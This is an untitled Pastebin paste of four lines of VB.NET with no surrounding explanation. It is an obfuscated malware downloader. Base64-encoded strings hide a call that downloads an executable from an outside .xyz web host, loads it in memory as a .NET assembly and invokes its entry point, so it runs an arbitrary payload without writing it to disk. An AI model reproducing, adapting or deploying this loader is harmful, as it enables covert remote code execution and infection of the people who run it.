Advertisement
Guest User

Untitled

a guest
Aug 31st, 2015
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.99 KB | None | 0 0
  1. Dim rawAssembly As Byte() = DirectCast(NewLateBinding.LateGet(New WebClient, Nothing, Encoding.Default.GetString(Convert.FromBase64String("RG93bmxvYWREYXRh")), New Object() { Encoding.Default.GetString(Convert.FromBase64String("aHR0cDovL3d3dy50aGVob3JuY3J5cHQueHl6L0ZpbGUuZXhl")) }, Nothing, Nothing, Nothing), Byte())
  2. Dim obj2 As Object = AppDomain.CurrentDomain.Load(rawAssembly)
  3. Dim flag As Boolean = NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(obj2), Nothing, Encoding.Default.GetString(Convert.FromBase64String("RW50cnlQb2ludA==")), New Object(0 - 1) {}, Nothing, Nothing, Nothing).Equals(0)
  4. NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(obj2), Nothing, Encoding.Default.GetString(Convert.FromBase64String("RW50cnlQb2ludA==")), New Object(0 - 1) {}, Nothing, Nothing, Nothing)), Nothing, Encoding.Default.GetString(Convert.FromBase64String("SW52b2tl")), New Object() { Nothing, Nothing }, Nothing, Nothing, Nothing, True)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement